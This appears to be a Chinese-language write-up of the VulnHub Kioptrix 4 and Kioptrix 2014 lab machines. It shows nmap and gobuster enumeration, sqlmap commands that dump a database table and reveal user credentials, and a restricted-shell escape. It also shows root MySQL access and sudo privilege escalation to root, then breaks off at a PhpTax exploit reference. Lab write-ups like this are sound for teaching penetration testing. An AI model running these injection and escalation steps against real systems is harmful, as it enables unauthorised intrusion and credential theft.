Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-0302:56 EST Nmap scan report for 192.168.1.11 (192.168.1.11) Host is up (0.00050s latency). Not shown: 39528 closed tcp ports (reset), 26003 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 139/tcp open netbios-ssn 445/tcp open microsoft-ds MAC Address: 00:0C:29:15:00:43 (VMware)
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0) | ssh-hostkey: | 10249b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA) |_ 204885:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA) 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6with Suhosin-Patch) |_http-title: Site doesn't have a title (text/html). |_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6with Suhosin-Patch 139/tcp open netbios-ssn Samba smbd 3.X -4.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP) MAC Address:00:0C:29:15:00:43 (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.9-2.6.33 Network Distance:1 hop Service Info:OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done:1 IP address (1 host up) scanned in13.12 seconds
关键信息汇总
操作系统:Linux(内核 2.6.9 ~ 2.6.33)
Web 服务:Apache 2.2.8 + PHP 5.2.4
SMB:Samba 3.0.28a
主机名:Kioptrix4
Web 枚举
1
gobuster dir -u "http://192.168.1.11/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x .txt,.php,.html,.bak,.js
python sqlmap.py -u "http://192.168.1.11/index.php"--forms--batch--dbms mysql -D members --tables--level2--risk2
1
python sqlmap.py -u "http://192.168.1.11/index.php"--forms--batch--dbms mysql -D members -T members --dump--level2--risk2
得到两组凭据
1 2
john:MyNameIsJohn robert:ADGAdsafdfwt4gadfga==
分别登录,但都没用,没什么有用的信息
SSH 登录与受限 Shell
尝试ssh,成功,但都被限制
在一个受限shell里
1 2 3 4 5
== Welcome LigGoat Employee == LigGoat Shell is in place so you don't screw up Type '?' or 'help' to get the list of allowed commands john:~$ help cd clear echo exit help ll lpath ls
$host="localhost"; // Host name $username="root"; // Mysql username $password=""; // Mysql password $db_name="members"; // Database name $tbl_name="members"; // Table name
数据库
1
root:
顺带查看mysql运行权限
1
ls -la /usr/lib/lib_mysqludf_sys.so
root权限运行
连接
1
mysql -u root -h localhost
成功
查看是否可以写入
1 2 3 4 5 6 7 8 9
mysql> show global variables like '%secure%'; +------------------+-------+ | Variable_name | Value | +------------------+-------+ | secure_auth | OFF | | secure_file_priv | | +------------------+-------+ 2 rows in set (0.00 sec)
secure_file_priv的值为null ,表示限制mysql不允许导入或导出
当值为/tmp/时 ,表示限制mysql的导入或导出只能发生在/tmp目录下
当secure_file_priv的值没有具体值时,表示不对导入或导出做限制
查看版本信息
1 2 3 4 5 6 7 8 9
show variables like 'version_compile_%';
mysql> show variables like 'version_compile_%'; +-------------------------+------------------+ | Variable_name | Value | +-------------------------+------------------+ | version_compile_machine | i486 | | version_compile_os | debian-linux-gnu | +-------------------------+------------------+
john@Kioptrix4:/var/www$ sudo -l [sudo] password forjohn: User john may run the following commands on this host: (ALL) ALL john@Kioptrix4:/var/www$ sudo su root@Kioptrix4:/var/www# id uid=0(root) gid=0(root) groups=0(root) root@Kioptrix4:/var/www#
┌──(root㉿kali)-[/home/kali/vulnhub/kioptrix_5] └─# nmap -sT -sV -sC -O -p22,80,8080 192.168.1.10 -oA nmap/detail Starting Nmap 7.95 ( https://nmap.org ) at 2026-02-0307:25 EST Nmap scan report for 192.168.1.10 (192.168.1.10) Host is up (0.00040s latency).
PORT STATE SERVICE VERSION 22/tcp closed ssh 80/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8) |_http-server-header: Apache/2.2.21 (FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8 8080/tcp open http Apache httpd 2.2.21 ((FreeBSD) mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8) MAC Address:00:0C:29:39:8E:3F (VMware) Device type: general purpose Running (JUST GUESSING): Microsoft Windows 10|11 (88%), FreeBSD 9.X|10.X (85%) OS CPE: cpe:/o:microsoft:windows_10 cpe:/o:microsoft:windows_11 cpe:/o:freebsd:freebsd:9 cpe:/o:freebsd:freebsd:10 Aggressive OS guesses: Microsoft Windows 10-11 (88%), FreeBSD 9.0-RELEASE -10.3-RELEASE (85%) No exact OS matches for host (test conditions non-ideal). Network Distance:1 hop
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done:1 IP address (1 host up) scanned in31.90 seconds
80/tcp:Apache 2.2.21 + PHP 5.3.8
8080/tcp:Apache 2.2.21 + PHP 5.3.8
22端口关闭,无法通过SSH直接进入
mod_ssl可以尝试一下
1
gobuster dir -u "http://192.168.1.10/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x .txt,.php,.html,.bak,.js
Discovered by: Jean Pascal Pereira <pereira@secbiz.de>
Vendor information:
"PhpTax is free software to do your U.S. income taxes. Tested under Unix environment. The program generates .pdfs that can be printed and sent to the IRS. See homepage for details and screenshot."
uname -a FreeBSD kioptrix2014 9.0-RELEASE FreeBSD 9.0-RELEASE #0: Tue Jan 307:46:30 UTC 2012 root@farrell.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC amd64